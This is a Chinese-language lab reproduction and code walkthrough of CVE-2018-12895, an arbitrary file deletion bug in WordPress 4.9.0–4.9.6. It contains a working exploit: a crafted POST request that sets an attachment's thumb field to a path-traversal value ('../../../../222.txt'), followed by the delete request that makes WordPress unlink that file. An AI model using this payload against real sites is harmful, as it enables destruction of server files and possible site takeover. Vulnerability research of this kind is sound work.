# CVE-2018-12895 (Wordpress <= 4.9.6 任意文件删除漏洞)
###### tags: `CVE` `wordpress`
版本:
wordpress: 4.9.0 - 4.9.6
WP管理者需要給一個帳號至少是author。
在wp目錄下創 222.txt (之後要刪除這個文件)
### 拉一張圖片上去並編輯
http://localhost/wp-admin/media-new.php
### 跳轉到編輯:
http://localhost/wp-admin/post.php?post=16&action=edit
(注意post=16 這邊會不一樣。)
### 此時f12尋找 _wpnonce 找到下面兩個
```
POST 提交需要驗證這個值
<input type="hidden" id="_wpnonce" name="_wpnonce" value="ce98612b1e">
第二步刪除文件是這個網址
<a class="submitdelete deletion" onclick="return showNotice.warn();" href="http://localhost/wp-admin/post.php?post=15&action=delete&_wpnonce=dfbd76d7c2">Delete Permanently</a>
也就是:
GET
http://localhost/wp-admin/post.php?post=16&action=delete&_wpnonce=dfbd76d7c2
```
### update 按鈕這邊開BP抓包:
POST數據 刪掉改成下面的
```http=
POST /wp-admin/post.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://localhost/wp-admin/post.php?post=16&action=edit
Content-Type: application/x-www-form-urlencoded
Content-Length: 801
Origin: http://localhost
Connection: close
Cookie: wordpress_86a9106ae65537651a8e456835b316ab=test1%7C1678431720%7CYMV4UCh7IgXLCFEe1HqrgljbsECoj0EUYb6Qq1fCiHl%7Cb9ac91292e29beb9deec347481ccd215316087dcd762860f5ca8a868f985095b; Phpstorm-f62ebc4=0f75a308-192c-46b6-9825-3efeef40150b; wp-settings-time-2=1678263454; XDEBUG_SESSION=PHPSTORM; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_86a9106ae65537651a8e456835b316ab=test1%7C1678431720%7CYMV4UCh7IgXLCFEe1HqrgljbsECoj0EUYb6Qq1fCiHl%7Cb0612ec960b2176d7f4600c03bf7da47974d6ea1e9b3d5ee559f2d278b3a4f35
Upgrade-Insecure-Requests: 1
action=editattachment&_wpnonce=ce98612b1e&post_ID=16&thumb=../../../../222.txt
```
稍微分析一下
```
action=editattachmen
//代表進去 editattachmen 選項
_wpnonce=ce98612b1e
//驗證
post_ID=16
//你編輯的圖片ID
thumb=../../../../222.txt
//圖片的thumb 被我們竄改
```
此時你可以用PHPSTORM跟進去。
wp-admin/post.php
```php=
case 'editattachment':
check_admin_referer('update-post_' . $post_id);
// Don't let these be changed
unset($_POST['guid']);
$_POST['post_type'] = 'attachment';
// Update the thumbnail filename
$newmeta = wp_get_attachment_metadata( $post_id, true );
$newmeta['thumb'] = $_POST['thumb'];
wp_update_attachment_metadata( $post_id, $newmeta );
```
$_POST['thumb'] 沒過濾
```php=
$newmeta['thumb'] = $_POST['thumb'];
```
你如果慢慢跟進,會發現最後 圖片屬性會被序列化,我們的thumb 在最後面
進 sql
```
UPDATE `wp_postmeta` SET `meta_value` = 'a:6:{s:5:\"width\";i:289;s:6:\"height\";i:174;s:4:\"file\";s:14:\"2023/03/da.jpg\";s:5:\"sizes\";a:2:{s:9:\"thumbnail\";a:4:{s:4:\"file\";s:14:\"da-150x150.jpg\";s:5:\"width\";i:150;s:6:\"height\";i:150;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:32:\"twentyseventeen-thumbnail-avatar\";a:4:{s:4:\"file\";s:14:\"da-100x100.jpg\";s:5:\"width\";i:100;s:6:\"height\";i:100;s:9:\"mime-type\";s:10:\"image/jpeg\";}}s:10:\"image_meta\";a:12:{s:8:\"aperture\";s:1:\"0\";s:6:\"credit\";s:0:\"\";s:6:\"camera\";s:0:\"\";s:7:\"caption\";s:0:\"\";s:17:\"created_timestamp\";s:1:\"0\";s:9:\"copyright\";s:0:\"\";s:12:\"focal_length\";s:1:\"0\";s:3:\"iso\";s:1:\"0\";s:13:\"shutter_speed\";s:1:\"0\";s:5:\"title\";s:0:\"\";s:11:\"orientation\";s:1:\"1\";s:8:\"keywords\";a:0:{}}s:5:\"thumb\";s:21:\"../../../../222.txt\n\";}' WHERE `wp_postmeta`.`meta_id` = 35;
```
休息一下... 接下來進入第2步
作者利用了編輯介面的刪除選項,就是我們最開始找到的GET 請求:
(記住_wpnonce 要根據自己的環境設置)
```
http://localhost/wp-admin/post.php?post=16&action=delete&_wpnonce=dfbd76d7c2
post=16
//編輯圖片的ID
action=delete
//進入 delete 模塊
_wpnonce=dfbd76d7c2
//刪除動作驗證
```
wp-admin/post.php
```php=
case 'delete':
check_admin_referer('delete-post_' . $post_id);
if ( ! $post )
wp_die( __( 'This item has already been deleted.' ) );
if ( ! $post_type_object )
wp_die( __( 'Invalid post type.' ) );
if ( ! current_user_can( 'delete_post', $post_id ) )
wp_die( __( 'Sorry, you are not allowed to delete this item.' ) );
if ( $post->post_type == 'attachment' ) {
$force = ( ! MEDIA_TRASH );
if ( ! wp_delete_attachment( $post_id, $force ) )
wp_die( __( 'Error in deleting.' ) );
} else {
if ( ! wp_delete_post( $post_id, true ) )
wp_die( __( 'Error in deleting.' ) );
}
wp_redirect( add_query_arg('deleted', 1, $sendback) );
exit();
```
你慢慢跟進會走到最後 wp_delete_attachment 這個刪除附件函數的結尾附近
wp-includes/post.php
```php=
if ( ! empty($meta['thumb']) ) {
// Don't delete the thumb if another attachment uses it.
if (! $wpdb->get_row( $wpdb->prepare( "SELECT meta_id FROM $wpdb->postmeta WHERE meta_key = '_wp_attachment_metadata' AND meta_value LIKE %s AND post_id <> %d", '%' . $wpdb->esc_like( $meta['thumb'] ) . '%', $post_id)) ) {
$thumbfile = str_replace(basename($file), $meta['thumb'], $file);
/** This filter is documented in wp-includes/functions.php */
$thumbfile = apply_filters( 'wp_delete_file', $thumbfile );
@ unlink( path_join($uploadpath['basedir'], $thumbfile) );
}
}
```
thumb 剛剛進sql了 現在被撈出來
```
$meta['thumb'] = ../../../../222.txt
unlink 最後會刪除 222.txt
```
心得:
這個洞還算比較簡單的,我在想就是一個$_POST 沒過濾,還可以進庫,最後居然可以從庫撈出。利用的發現過程可能是最以挑戰性的地方。